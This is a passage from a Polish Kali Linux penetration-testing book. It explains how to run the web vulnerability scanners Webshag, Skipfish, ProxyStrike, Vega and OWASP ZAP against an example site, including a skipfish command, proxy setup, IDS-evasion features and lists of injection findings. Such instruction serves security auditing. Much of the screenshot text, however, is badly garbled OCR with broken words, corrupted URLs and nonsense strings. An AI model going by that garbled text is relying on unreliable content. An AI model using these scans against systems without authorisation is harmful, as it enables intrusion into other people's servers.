Wyszukiwanie podatności i luk w zabezpieczeniach Ataki na serwery aplikacji internetowych polegają na wyszukiwaniu, identyfikacji i wykorzy stywaniu luk w zabezpieczeniach usług, portów komunikacyjnych i aplikacji działających na serwerze. W zasadzie dla każdego serwera aplikacji internetowych można wyznaczyć co naj mniej kilka różnych wektorów ataku. Z technicznego punktu widzenia taki serwer to po pro stu system komputerowy, działający pod kontrolą określonego systemu operacyjnego i wyposa żony w odpowiednie oprogramowanie, pozwalające na świadczenie takich czy innych usług w sieci. Każdy taki serwer posiada cały szereg otwartych portów komunikacyjnych. Każdy z wymienionych elementów składowych może posiadać luki w zabezpieczeniach, które po tencjalny napastnik może próbować wykorzystać w celu uzyskania nieautoryzowanego dostę pu do systemu i zdobycia cennych informacji. Warto zauważyć, że do tej pory wiele protoko łów komunikacyjnych wykorzystywanych do komunikacji z serwerami usług sieciowych przesyła dane w postaci niezaszyfrowanej. A zatem najwyższy czas przyjrzeć się narzędziom do wyszukiwania podatności i luk w zabez pieczeniach serwerów aplikacji internetowych, dostępnym w systemie Kali Linux.
W ebshag W ebshag to wielowątkowe, wieloplatformowe narzędzie przeznaczone do przeprowadzania audytów serwerów WWW. Pakiet ten pozwala na zbieranie informacji o serwerach W W W z wykorzystaniem typowych mechanizmów, takich jak skanowanie portów komunikacyjnych, skanowanie adresów U R L czy fuzzing plików. Za pomocą programu W ebshag możesz skano wać serwery W W W używające protokołów H TTP i H TTPS, korzystać z serwerów proxy czy 1 Exploit to specjalnie przygotowany kod lub program, napisany w celu wykorzystania błędu lub luki w zabezpieczeniach stron internetowych, aplikacji czy systemów operacyjnych, pozwalający na dokonywa nie nieautoryzowanych zmian, uzyskanie dostępu do atakowanego celu bądź wręcz przejęcie nad nim kontroli — przyp. tłum.
92
R o z d z ia ł 3. • A ta k i na s e rw e ry a p lik a c ji in te rn e to w y c h
|
stosować uwierzytelnianie H TTP (zarówno podstawowe, jak i digest). Dodatkowo W ebshag posiada mechanizmy utrudniające wykrycie przeprowadzanego skanu przez systemy ID S analizujące korelację między żądaniami napływającymi do serwera. Webshag ma również inne, zupełnie innowacyjne możliwości, takie jak wyszukiwanie i two rzenie listy nazw domen obsługiwanych przez dany serwer lub fuzzing aplikacji interneto wych z wykorzystaniem dynamicznie generowanych nazw plików. Webshag potrafi również wykonywać tzw. fingerprinting stron internetowych (czyli zbieranie informacji o danej stronie, pozwalających na utworzenie je j unikatowego „odcisku palca”) i jest przy tym zupełnie od porny na zmiany zawartości samych stron. Taka funkcjonalność jest wykorzystywana przez mechanizm usuwania tzw. m iękk ich b łęd ó w 404, generowanych przez serwery broniące się przed skanowaniem swoich zasobów. Webshag może działać zarówno z graficznym interfejsem użytkownika, jak i z poziomu kon soli systemu i funkcjonuje na platformach Linux oraz Windows. W systemie Kali Linux mo żesz go uruchomić, wybierając z menu Program y grupę K ali Linux i następnie polecenie Web A pplications/W eb Vulnerability S canners/w ebshag-gui. Obsługa programu Webshag nie jest trudna. Każde z jego narzędzi posiada swoją osobną kartę w górnej części ekranu. Wybierz kartę żądanego narzędzia, w polu Target(s) wpisz adres URL celu i kliknij przycisk OK. Narzędzia z poszczególnych kart możesz uruchamiać równolegle. Do wyboru masz następujące mechanizmy: Port Scanning (skanowanie portów), S pider (robot sie ciowy), URL Scan (skanowanie adresów URL) oraz Fuzzing (fuzzing aplikacji internetowych). Na kolejnych czterech rysunkach zamieszczamy zrzuty ekranu przedstawiające okno programu Webshag podczas skanowania portów, analizowania struktury witryny za pomocą robota sie ciowego, skanowania adresów U R L oraz fuzzingu witryny w w w .thesecu rityblogger.com :
93
K a li L in u x . T e s ty p e n e tra c y jn e
a
v
■ w e b ih a g
1.10
H ic lo o li H d p
1’bCAN
INKU SIIUtK
T*rr)rf(«L) [h o ttl, h a ft? ,
USCAN
ru z z
Po»T(c) [00, 0000. ]
]
vmw.Uicvcc ufilyU oyyet.com
Rool dnecloOe* [/, AJ11/....J:
||a o
P
OK
Slop IrnporL...
CxpieMion llog Io-*J{1}10-9J{2}.1*1]: 0 Cl177 Dl WTOO^C gf riI77 n iM
R o z d z ia ł 3. • A ta k i na s e rw e ry a p lik a c ji in te rn e to w y c h
|
Webshag pozwala na eksportowanie danych podczas audytu w formatach X M L , H TM L oraz TXT. Raport generowany przez ten program je st podzielony na logiczne sekcje, dzięki czemu może być przedstawiony jako samodzielny raport z audytu danego serwera lub wykorzystany później do przygotowania raportu końcowego, który zostanie dostarczony zleceniodawcy po zakończeniu testów penetracyjnych. Następne dwa rysunki przedstawiają okno opcji eksportu danych oraz fragment wygenerowanego raportu.
L x p o r t ite s u lts : Q Pim I S t r o n t *
Q In fo
Q S p irit*
Q U R I Siihiiim 1!
O F ii/ / t *
O u tp u t F ile ; /r u o U D e ;.k lu p /ie ;.u lb
O p en
O iii [Mil F ile F o rm n lxm l
L
T
xm l h rm l tx t
Audit Report
91.10
VCBSM /
Port Scanner 6 4 .9 0 .3 0 .8 0
80 387
xnl t: PoettłJC r a te d
Info
Spider
Więcej szczegółowych informacji na temat programu Webshag znajdziesz na stronie http://www.scrt.ch/en/ attack/do wntoads/webshag.
Skipfish Skipfish to narzędzie wspomagające gromadzenie informacji o aplikacjach sieciowych. Program ten pozwala na przygotowanie interaktywnej mapy badanej witryny internetowej z wykorzy staniem własnego, rekurencyjnego robota sieciowego oraz dodatkowych metod słownikowych. Po zakończeniu skanowania Skipfish generuje listę znalezionych podatności dla poszczególnych elementów witryny. Program Skipfish możesz uruchomić, wybierając z menu Programy grupę Kali Linux i następnie polecenie W eb A pplications/W eb V ulnerability Scanners/skipfish. Przy pierwszym uruchomie niu programu pojawi się okno konsoli, w którym zostaną wyświetlone opcje wywołania programu. D o wyszukiwania podatności i luk w zabezpieczeniach witryny internetowej Skipfish może używać słownika zdefiniowanego przez pentestera lub słowników wbudowanych w ten program.
95
fl
K a li L in u x . T e s ty p e n e tra c y jn e
Niektóre słowniki programu Skipfish mogą być niedostępne w Twojej dystrybucji systemu Kali Linux. Najnowszą wersję skanera Skipfish oraz domyślne słowniki możesz pobrać ze strony https://code.google.eom/p/skipfish/.
Wszystkie dostępne słowniki są spakowane w jednym pliku o nazwie dictionary. li:-/Desktop/skipfisb-2 .lObAiictionaries# Is complete.wl extensions-oríLy.wL medium .wl minimal .wl
Skaner Skipfish posiada wiele opcji. Aby uruchomić na przykład skanowanie danej witryny internetowej z wykorzystaniem własnego słownika, w wierszu poleceń konsoli wpisz polece nie sk ip fish , następnie wpisz opcję -W oraz ścieżkę dostępu do żądanego pliku słownika, da lej wpisz opcję -o oraz nazwę folderu, w którym zapisane zostaną wyniki działania programu, i wreszcie na końcu wpisz adres witryny internetowej, którą chcesz przeskanować. Skipfish -o < fo ld er na wyniki> -W < lo k a liz a c ja słownika> Na przykładzie zamieszczonym poniżej przedstawiamy sposób użycia programu Skipfish do skanowania witryny w w w.thesecurityblogger.com z wykorzystaniem pliku słownika o nazwie com plete.w l. Po uruchomieniu tego polecenia Skipfish utworzy na pulpicie folder o nazwie Skipfishoutput. Poszczególne elementy w wierszu polecenia oznaczają kolejno: skipfish to oczywiście nazwa polecenia, -o /root/Desktop/Skipfishoutput to definicja folderu, w którym zapisane zostaną wyniki działania, -W /root/Desktop/complete.wl to lokalizacja i nazwa pliku słownika, a http://www.thesecurityblogger.com to nazwa witryny, która będzie przedmiotem skanowania. r o o t @ k a l± : ~# s k i p f i s h -o / r o o t / D e s k t o p / S k i p f i s h o u t p u t -W / r o o t / D e s k t o p / c o m p le t e .w l h t t p : / / w w w . t h e s e c u r i. t y l l o g g e r . corrfl____________________________________________________________________________________________________________________________
Zwróć uwagę na fakt, że jeżeli w wierszu wywołania skanera użyjesz opcji -W, to domyślne słowniki programu Skipfish nie zostaną użyte. Jeżeli chcesz dodawać własne słowa do słownika domyślnego, powinieneś najpierw utworzyć kopię oryginalnego pliku domyślnego słownika, nadać jej inną nazwę, otworzyć ją w ulu bionym edytorze tekstu i usunąć pierwszy wiersz, zawierający dyrektywę #ro (która powoduje, że plik jest traktowany jako tylko do odczytu). Fragment zawartości słownika domyślnego wraz z widoczną w pierwszym wierszu dyrektywą #ro został przedstawiony na rysunku poniżej. complote wl Filc Cd-t Search Options Help js ro eg es es es es eg es eg eg es es eg es es er. eg eg
96
1 1 i 1 1 1 1 1 1 1 1 1 : 1 i 1 i i
1 1 1 1 1 1 1 1 1 1 1 1 : 1 i 1 i i
Iz
as asflix a sp a spx bak bat b in bz2 c CC c fg c fm egi c l rtr.r. cnf co n r c o n fi q
R o z d z ia ł 3. • A ta k i na s e rw e ry a p lik a c ji in te rn e to w y c h
|
Jeżeli program zostanie poprawnie uruchomiony, w oknie konsoli pojawi się ekran powitalny skanera Skipiish z inform acją, że skanowanie rozpocznie się po naciśnięciu dowolnego klawisza lub po upływie 60 sekund. WelcoBt* to s k i p f i s h . H eie d ie s o w u s e fu l t i p s : 1) To a b o rt the scan a t any l i w , p re s s t r l C . A p a r t i a l re p o rt w i l l be w r it t e n to the s p e c if ie d lo c a t io n . To view a l i s t o f c u r r e n t ly scanned URLs, you can p re s s spac* a t any t ia e d u rin g the scan . 2) Watch the nuuber re q u e sts pe r second shown on the a a in s c re e n . I f t h i s f ig u r e drops below 100-200, th e scan w i l l l i k e l y ta ke a ve ry lon g t ia e . 1) the scan n e r does not auto-1 tw it the sro p e o t the s r a n j on ro a p le x s i t e s , you way need to s p e c if y lo c a t io n s to e x clu d e , o r l l a l t h r u t r - f o r r e s te p s . 4 ) There a re s e v e r a l new r e le a s e s o f the scan n e r e ve ry ao nth. I f you run in to tr o u b le , check f o r a newer v e r s io n f i r s t , l e t the au th o r know n e x t. More in f o : h t tp :/ / c o d e .g o o g le .c o a / p / s k ip fis h / w ik i/ K n o w n ls s u e s NUIh: Ihe scan n e r i s c u r r e n t ly c o n fig u re d t o r d ir e c t o r y b r u te -to r c e a t t a c k s , and w il l aake about 241S44 re q u e s ts per e ve ry tu / / a b le lo c a t io n . I I t h is is not what you w anted, sto p now and c o n s u lt the d o c u a e n ta tio n . P r e s s any key to c o n tin u e (o r w a it 60 s e c o n d s ) .. . |
T
Aby wyświetlić szczegółowe informacje na temat skanu, naciśnij klawisz spacji. Skanowanie wybranej witryny może zająć od około 30 sekund do nawet kilku godzin. Aby wcześniej za kończyć proces skanowania, możesz nacisnąć klawisze C tr l+ C . s k i p f i s h v e r s io n 2 .6 9 b by lca m tu f@ g o o g le .c o m - www.thesecurityblogger.com Scan statistics: Scan time HTTP requests Compression HTTP faults TCP handshakes TCP faults External links Reqs pending
:0:00:27.858 :1167 (42.0/s), 612 kB in, 244 kBout (30.8 kB/s) :322 kB in, 550 kB out (26.1% gain) :0 net errors, 0 proto errors, 0 retried, 0 drops t 22 total (54.5 req/conn) :0 failures, 0 timeouts, 1 purged :119 skipped :31
Gdy zakończy się skanowanie (lub naciśniesz klawisze C trl+ C ), Skipfish wygeneruje w folde rze wyjściowym całe mnóstwo plików. Aby wyświetlić wyniki działania programu, kliknij plik index.htm l, co spowoduje uruchomienie przeglądarki. Poszczególne sekcje raportu można zwijać i rozwijać, klikając odpowiednie przyciski. Poniżej przedstawiamy wygląd przykładowego raportu wygenerowanego przez program Skipfish.
97
fl
K a li L in u x . T e s ty p e n e tra c y jn e
ProxyStrike ProxyStrike to narzędzie spełniające rolę serwera proxy, pozwalające na wyszukiwanie po datności i luk w zabezpieczeniach podczas przeglądania witryn i aplikacji internetowych. Program działa jak zwykły serwer proxy nasłuchujący na domyślnym porcie 8080, co ozna cza, że aby z niego skorzystać, musisz skonfigurować swoją przeglądarkę tak, aby korzystała z serwera proxy „dostępnego” na tym porcie — dzięki temu cały ruch sieciowy związany z prze glądaniem danej witryny będzie przechodził przez program ProxyStrike, pozwalając mu na przeprowadzanie analizy badanej witryny. Zastosowanie serwera proxy jest znakomitym rozwią zaniem, pozwalającym na wygodne wyszukiwanie, identyfikację, przechwytywanie i modyfi kowanie ruchu sieciowego. Aby skonfigurować przeglądarkę, taką jak Firefox, do pracy z pakietem ProxyStrike, z menu tej przeglądarki wybierz polecenie Tools/O ptions (N arzędzia/O pcje). Na ekranie pojawi się okno dialogowe opcji przeglądarki. Kliknij opcję A d v an ced (Zaaw ansow ane), przejdź na kartę N etw ork (Sieć) i kliknij przycisk Settings (Ustaw ienia). Zaznacz opcję M anual Proxy (Ręczna konfiguracja serw erów proxy) i jako adres serwera proxy wpisz adres IP Twojego komputera, a następnie ustaw port 8080 (oczywiście, o ile nie zmieniłeś wcześniej domyślnego numeru portu, na którym pracuje ProxyStrike).
98
R o z d z ia ł 3. • A ta k i na s e rw e ry a p lik a c ji in te rn e to w y c h
OOO ; Q1 Ö G e n e ra l
fl
w
Tabs
C o n te n t
A p p lic a t io n s
P riv a c y
S e c u rity
S ync
A dvanced
C o n fig u re P roxies to A ccess th e In te rn e t O N o p ro x y A u to -d e te c t p ro x y se ttin g s f o r th is n e tw o rk Use system p ro x y s e ttin g s
{*) M a n ua l p ro x y c o n fig u ra tio n : HTTP Proxy:
1 7 2 .1 6 .7 6 .1 3 1
Port:
8008
3
C l Use th is p ro x y se rve r f o r a ll p ro to c o ls
Aby uruchomić ProxyStrike w systemie Kali Linux, wybierz z menu głównego grupę K ali Linux, przejdź do kategorii Web Applications, a następnie wybierz polecenie Web Vulnerability Scanners/proxystrike. Od tej chwili (przy założeniu, że poprawnie skonfigurowałeś przeglądarkę do używania pakietu ProxyStrike), na karcie Comms będziesz mógł obserwować przechwycony ruch sieciowy. W rozdziale 6., „Ataki na aplikacje internetowe i serwery W W W ”, poświęcimy pakietowi ProxyStrike znacznie więcej uwagi. P r o x y S t r ik e v 2 . 1
H e lp Com m s
R e q u e st S ta ts
V a ria b le S t a t s
M e th o d
C o n fig
P lu g m s
Log
R e p e a t R e q u e st
C ra w le
T a rg e t
1
i
GET
h t tp : //w w w . th c s c c u r it y b lo q q c r .c o m /
2
GET
h t tp .//g o o g le a d s .g . d o u b le c lic k , n e t
3
GET
h t t p , //g o o g le a d v .g . d o u b le c lic k , n e t
/p e g e e d / e d s i'c lie n t - c e - p u b - 9 2 b l9 1 b 9 S 2 1 5 2 0 / 6 8 f O U t p u t - h t m l& h - 0 0 0 & v lo t n e m e - 2 1 2 1 0
4
GET
h t tp : //g o o g le a d s . g .d o u b le c lK k .n e t
/p a g e a d /a d s / c lie n t« c a - p u b - 9 2 6 1 9 1 6 9 5 2 1 5 2 0 /e > 8 to u tp u t = h tm l8 r h = 6 0 0 8 c s lo tn a m e = 2 1 2 1 0
le
CS1
h r tn -//n i» a l n n in t c a r u a rnm
/ru> a l
1
in
E B
h
/ p a g e e d / a d s ? c lie n t - c e - p u b - 9 2 6 1 9 1 6 9 5 2 1 5 2 0 7 0 & o u t p u t - h t m l& h - 2 0 0 & v lo t n a m e - 9 5 9 4 0
i
-
_
I>
S e le c t O
G et
O
Post
®
A lt
R epeat
1n tercept
Edit re q u e sts in view
D e le te (e q u e stv in view
D e le te s e le cte d requests
T arg et . Alt Path . A ll C |
A ccept. text/h tm l.ap p lica tio n /x h tm l+x m l.e p p licatio n /x m l.q -0 .9 .a/ * . q - 0 .8 U s e r A g e n t: M o z iU a /5 .0 (M a c in to s h ; I n t e l M a c O S X 1 0 8 ; r v :2 0 0 ) G e c k o /2 0 1 0 0 1 0 1 F ir e fo x / 2 0 .0 C o n n e c tio n ' c lo s e
Cookie. _ _ u t m a -2 5 3 7 4 8 3 0 0 . 1 7 5 7 2 5 5 8 5 7 . 1 3 6 6 9 2 3 7 3 1 . 1 3 6 7 3 5 4 0 7 4 . 1 3 7 4 0 9 7 1 4 0 . 3 . u t m z » 2 5 3 7 4 8 3 0 0 . 1 3 6 6 9 2 3 7 3 l . l . l . u t m c s r * ( d ir e c t) |u t m c c n * ( d ir e c t) lu tm c m d * (no ne ); q ra » P 0 2 0 1 9 2 2 5 1 0 4 1 3 6 6 9 2 3 7 3 3 1 1 5 ; _ u tm h » 2 5 3 7 4 8 3 0 0 1 1 0 1 3 7 4 0 9 7 1 4 0 ; _ u tm c - 2 5 3 7 4 8 3 0 0
99
fl
K a li L in u x . T e s ty p e n e tra c y jn e
Zastosowanie robota sieciowego to prosty sposób na przeprowadzenie skanowania witryny internetowej pod kątem wyszukiwania podatności i luk w zabezpieczeniach implementacji języka SQ L, protokołu SSL czy wtyczki XSS. Aby skorzystać z robota sieciowego, nie musisz konfi gurować pakietu ProxyStrike jako serwera proxy. Jeżeli na przykład chcesz uruchomić robota na witrynie, która korzysta z wtyczek XSS, przejdź na kartę Plugins, wybierz z listy wtyczkę XSS & SSL attacks i zaznacz opcję Enable. Następnie przejdź na kartę Crawler. W polu URL wpisz adres witryny internetowej (nie zapomnij na początku adresu dodać http://), zaznacz opcję Craw l using plugins i kliknij przycisk Stopped (nazwa przycisku zamieni się na Running). Użycie wtyczek może znacząco zwiększyć czas, jaki będzie niezbędny do zakończenia procesu ska nowania. ProxyStrike wyświetla na karcie C raw ler pasek informujący o postępie skanowania. Comms
R equest S ta ts
■
0 «nabli
100
V ariab le Stats
* —J
P lu g in s t i t r t i o n '
XS S & SSI a ttM k s £
Confiq
«
Pluym s
R o z d z ia ł 3. • A ta k i na s e rw e ry a p lik a c ji in te rn e to w y c h
|
Po uruchomieniu skanowania wyniki działania wtyczek robota wyświetlane są na karcie Plugins. Wyniki działania wraz z informacjami o znalezionych podatnościach i lukach w zabezpiecze niach mogą zostać wyeksportowane do plików w formacie H TM L lub XM L. C om m s
R e q u e s t S ta ts
P lu g in s e le c tio n :
q
V a ria b le S ta ts
XSS & SSI a t ta c k s
C o n tig
P lu g in s
Log
R ep ea t R e q u e st
C ra w le r
▼
R ese t c a c h e
E x p o rt H T M L
enable
E x p o rt XM1
Request threads 11
uii
v a n a b le
M e th o d
cat
GET
tag
GET
p
GET
in je c to n s A v a ila b le
- h ttp ;//w w w .th e s e c u n ty b lo g g e r.c o m /? c a t= 2 4 2 h ttp ://w w w .lh e s e c u n ty b lo g g e r .c o m /7 td g ~ lh e -b d ld rK .in g -d tt
h ttp ://w w w .th e s e c u n ty b lo g g e r.c o m /7 p
‘ (S in g le Q u o te s ) (N o rm a l E n c o d in g ). ( ) (P a re n th e s is ) (N o r m a l E n c o d in g )
2068
- h ttp ://w w w t h r s r c u n ty b lo g g r r c o m /? .itt« ic h m r n t _ id = ?071 - h ttp ://w w w .th e s e e u h ty b lo q q e r .e o m /? p a q e
a t ta c h m e n t id GET
id—2
p a g e jd
get
te e d
GET
- h ttp ://w w w .th e s e c u n ty b lo g g e r.c o m /7 te e d - c o m m e n ts - rs s 2 ( ) (P a re n th e s is ) (N o r m a l E n c o d in g )
Na karcie L og wyświetlane są informacje o tym, jaki jest postęp poszczególnych zadań skanowania wybranych witryn internetowych. Zawartość tego dziennika może zostać wyeksportowana do pliku tekstowego i dołączona później do raportu końcowego. Z kolei na karcie Craw ler znajdziesz listę wszystkich łączy, jakie zostały znalezione na badanej witrynie internetowej. C om m s
R eq ue s t S ta ts
V a ria b le S ta ts
C o n fig
P lu g irts
Log
R ep ea t R e q u e st
C ra w le r
L o g o u tp u t:
D y in g s q l In je c tio n o n ; [ UR L; h ttp .//w w w . th e s e c u n ty b lo g g e r.c o m /w p m c lu d e s /|s /th ic k b o x /th ic k b o x | S 'v e r = j. i- 2 0 1 2 1 1 0 b
j
= = = = = = = = = = = = = = = = = = XSS/SSI = = = = = = = = = = = = = = = = = = = = [ U R L: h t tp : //w w w r h r s r c u r lr y b lo q q r r . c o m /w p ln r lu d r s / ) s /r h ic k b o x / th ir k b o x .|s ? v r r > 3 .1 2 0 1 2 1 1 0 5 ] S ta b 1 • DONE
Dying vet... + + + + + + + + + + + + + + + + + + F IN ISH XSS/5SI + + + + + + + + + + + + + + + + + ( U R I: h t tp : //w w w . th r s r c u r ity b lo g g r r .c o m /w p in c lu c irs /js /th ic k h o x /th ic k b o x j s ? v r r = 3 1 2 0 1 2 1 1 0 5 ] ......................................
XSS/SSI = = = = = = = = = = = = = = = = = = = =
I URL http7/www.thesecuntyblogger.com/?cat 242 ) S ta b ? - DONE U R L iS STABLE
To jednak nie wszystko — ProxyStrike ma znacznie więcej możliwości. W ięcej szczegółowych informacji na ten temat znajdziesz na stronie http://w w w .edge-security.com /proxystrike.php.
Vega
@ VEGA 10 Vega to kolejne narzędzie przeznaczone do testowania zawartości witryny internetowej, po zwalające na znalezienie wszystkich znajdujących się na niej łączy oraz analizę parametrów umieszczonych na niej formularzy.
101
fl
K a li L in u x . T e s ty p e n e tra c y jn e
Aby uruchomić program Vega, przejdź do grupy Kali Linux, a następnie wybierz polecenie Web A pplications/W eb Vulnerability Scanners/Vega. Na monitorze pojawi się przez moment ekran powitalny aplikacji i po chwili wyświetli się główne okno programu. S u b g ra p h V e ga F ile
Scan
W in d o w
H e lp
» P r o x y is n o t r u n n in g
j|
7 1 M o f ?4 R M
Ifij
W prawym gómym rogu okna programu znajdziesz przyciski kart Scanner oraz Proxy. Aby użyć pakietu Vega jako skanera, kliknij kartę Scanner, a następnie z menu programu wybierz polecenie Scan/Start N ew Scan.
Na ekranie pojawi się okno dialogowe S elect a Scan Target. W polu E n ter a b a se URI f o r scan wpisz adres witryny (w naszym przykładzie będzie to www.thesecurityblogger.com) i kliknij przycisk Next (zobacz pierwszy rysunek na następnej stronie). W kolejnym oknie znajdziesz szereg opcji pozwalających na wybranie testów, jakim poddana zostanie skanowana witryna. Do dyspozycji masz dwie główne kategorie, Injection oraz Response
102
R o z d z ia ł 3. • A ta k i na s e rw e ry a p lik a c ji in te rn e to w y c h
|
P rocessing, z których każda zawiera bardzo wiele dodatkowych opcji. Rozwiń wybraną kate gorię, zaznacz żądane opcje skanowania i kliknij przycisk Next. S e le c t M o d u le s Choose w h ic h s ca n n e r m o d u le s to e n a b le f o r th is scan
VEGA
S e le c t m o d u le s t o run:
0
Injection M odules □
Format String Injection Checks
0
Cross Domain Policy A u ditor
0
XM L Injection checks
0
Blind SQL T e x t Injection D iffe re n tia l Checks
0
XSS Injection checks
□
Integ er O v e rflo w Injection Checks
0
S h ell Injection Checks
0
Blind OS Command Injection
0
Remote File Include Checks
1 I Blind SQ L Injection Timing Analysis Checks 0
D ire c to ry Listing and Traversal Checks
í¡7 1 R l ir-trl c m
ft
F i r-,1 ■n f i n n H iffrt
Na dwóch kolejnych ekranach znajdziesz opcje pozwalające na dodawanie ciasteczek (ang. cookies) oraz zdefiniowanie parametrów, które zostaną wyłączone ze skanu, co pozwoli na unik nięcie fuzzingu badanej witryny internetowej (opcjonalnie). W większości przypadków możesz na obu ekranach pozostawić wartości i opcje domyślne. Aby zakończyć konfigurację, kliknij przy cisk Finish. Program Vega rozpocznie skanowanie witryny oraz wyświetlanie znalezionych podatności i luk w zabezpieczeniach. Zidentyfikowane podatności i luki są grupowane według oceny ryzyka, jakie stanowią dla badanej witryny.
103
fl
K a li L in u x . T e s ty p e n e tra c y jn e
W lewej gómej części okna znajduje się panel o nazwie W ebsite View, w którym wyświetlają się skanowana witryna oraz inne witryny, które są z nią powiązane. W lewym dolnym rogu zlokalizo wano panel o nazwie Scan A lerts, w którym znajduje się zestawienie znalezionych podatności, pogrupowanych według kategorii zagrożenia. Klikając przyciski z lewej strony poszczególnych kategorii, można zwijać i rozwijać ich widoki. Kiedy klikniesz nazwę określonej podatności znale zionej przez skaner, Vega wyświetli w oknie obok szczegółowe informacje o danym „znalezi sku” wraz z opisem tego, jakie potencjalnie zagrożenie stanowi ono dla badanego systemu. Rysunek zamieszczony poniżej przedstawia okno programu Vega wyświetlające jedną z po tencjalnych luk w zabezpieczeniach witryny w w w .thesecu rityblogger.com , pozwalających na przeprowadzenie ataku X SS (ang. C ross-site scripting) (zobacz pierwszy rysunek na następnej stronie). Vega posiada również moduł serwera proxy, który pozwala na przeglądanie żądań i odpowiedzi przesyłanych między przeglądarką a witryną internetową. Dane w sekcji Proxy pojawiają się po uruchomieniu skanowania (zobacz drugi rysunek na następnej stronie). W środkowej części okna skanera Vega możesz wyświetlić zarówno podsumowanie całego skanu, jak i szczegółowe informacje na temat poszczególnych podatności i luk w zabezpieczeniach. Informacje wyświetlane w tym panelu możesz bez problemu skopiować i umieścić na przykład w raporcie końcowym (zobacz pierwszy rysunek na stronie 106).
104
R o z d z ia ł 3. • A ta k i na s e rw e ry a p lik a c ji in te rn e to w y c h
R T Q lir S T GET / w p H n i lu d t n / a d m i n - b a i . p h p
^
Ô n ttp ://w w w t h c s c c u r ity b v
O
M e d iu m ( 1 0 5 )
v
* L o c a l h l c v y i t c m Pa
k nF souncF co ntfnt
/h o m e /f u n k t r i b « / t h e v e c u r i L y b lo 99w r.co m /w p -in c lu d e s /a d m in -b a r .p h p
' /w p - in c lu d e s /a u t
► D IS C U S S IO N
’ /w p - m c lu d c s /c a r
v e q a h a s d e te c te d a p o s s ib le a b s o lu te file s y s te m p a th (i.e . o n e th a t is n o t re la tiv e to th e w eb ro o t). This in fo rm a tio n is se n s itiv e , a s It m ay re ve a l t h in g s a b o u t th e s e rv e r e n v iro n m e n t to an -.tf--irl/cir Ic'Fnav.i^nfi fit fbfi irt nm It. .n if r n In c c n -irn rkci. c h n n c A r c f r u r r n r r f nr hlln-H nftn c t.r Cull
.1
1 I v j p m d u d e s /c a t
C3 «■ F
R e q u e s ts
“
(1
R equest
S ta tu s
L e n g th
T im e
h t t p / / w w w th e s i GET
/
200
159612
3926
1
h t t p / / w w w . th e s e GET
/w p -c o n te n t/
200
0
162
2
h t t p : / / w w w . t h c s ( GET
/w p - in c lu d c s /
200
10437
251
3
h t tp : //w w w . th e s « G E T
200
42
1123
4
h t t p : / / w w w . t h e s « GET
/w p - in c lu d e s /js /
200
5152
217
5
h t t p . / / w w w . t h c s i GET
/w p - in c lu d e s /th c m t 2 0 0
877
90
ID
H ost
0
imÊÊm 0 2 0 R equest
M e th o d
j /x m lrp e .p h p
= 1
in
B
/•
>:>
- .
Response
• title *Jo e y M u n u • Ihw S e c u r ity B lo g g e r */title > < lin k re l= " p ro file " h r e f= " http://gm pg o rg / x fn /1 1 ” /> c lin k r e l- " s t y le s h e e t " t y p e - " t e x t / c s s " m e d ia -“aU " h r e f -" h t t p 7 / w w w th e se c u rity b li lin k
- " p m g b a ik " h r # f - " h t t p . / / w w w . th e v e c u n ty b lo g g e r .c o m /x m lrp c .p h p " / •
lin k r e « " a lte r n a te " ty p e = ~ a p p lk a t io n / r s s + x m t" t i t l e s "T h e S e c u r ity B lo g g e r & ra q u
c lin k re l« " a lte rn a t e " fy p e = " a p p lk a rio n / rs s t x m l" t itle « " T h e S e c u r ity B lo g g e r &raqu< clin k 1 e l- 's t y le s h e e t ' id -'t h ic k b o x - c s s ' h ref-* h ttp .//w w w .th e se c u rity b lo g g e r.c o m /w clin k r e l= 's ty le s h e e t' id = ‘g d sr_ sty te _ m a in -cs s' h r e f = ‘h ttp :/ /w w w .th e s e c u rity b lo g g e a s % ? 1 s lp c r y s t a l% ? T s 1 p d a r k n e s s X ? T s lp o x y g e n '2 ? t s lg o x y g e n q if* 2 ?3s1 pp lain% ?3 e x t/ c s s ' m e d ia -'a ll' Ic lin k r e l = 's ty le s h e e t ' id = ‘< jd sr_ stv le _ x tr a -c ss' hrel
a *
1 o f ? h ig h lig h ts
P ro x y is
Owasp-Zap Pakiet Owasp-Zap, znany również pod nazwą Zaproxy, to serwer proxy pozwalający na prze chwytywanie żądań i odpowiedzi przesyłanych między przeglądarką i serwerem W W W (ang. in tercept proxy), wykorzystywany do testowania zabezpieczeń aplikacji internetowych.
Aby uruchomić program Owasp-Zap, w menu głównym systemu Kali Linux przejdź do grupy Kali Linux, a następnie wybierz polecenie W eb Applications/W eb Vulnerability Fuzzers/owasp-zap. Po wybraniu tego polecenia na ekranie pojawi się okno z treścią licencji pakietu Owasp-Zap, którą musisz zaakceptować, aby móc skorzystać z programu. Aby to zrobić, kliknij po prostu przycisk A ccept. Gdy zaakceptujesz licencję, na ekranie wyświetli się okno dialogowe z pytaniem, czy chcesz utworzyć certyfikat SSL (ang. SSL R oot CA certificate — certyfikat głównego urzędu certyfi kacji). Wygenerowanie takiego certyfikatu pozwala pakietowi Owasp-Zap na przechwytywa nie szyfrowanych połączeń H TTPS między przeglądarką a serwerem WWW. Takie rozwiązanie jest niezbędne, jeżeli chcesz testować aplikacje wykorzystujące protokół H TTPS. Aby przejść do okna generowania certyfikatu, kliknij przycisk G enerate.
Na ekranie pojawi się okno Dynamic SSL Certifwates, które pozwala na wygenerowanie nowego certyfikatu lub zaimportowanie certyfikatu już posiadanego. Aby wygenerować nowy certyfi kat, kliknij przycisk G en erate. Utworzony certyfikat możesz zapisać na dysku. Aby to zrobić,
106
R o z d z ia ł 3. • A ta k i na s e rw e ry a p lik a c ji in te rn e to w y c h
fl
kliknij przycisk Save i wybierz folder, w którym chcesz go umieścić. Nowo utworzony plik zawierający certyfikat nosi nazwę ow asp_ cap _ root_ ca.cer.
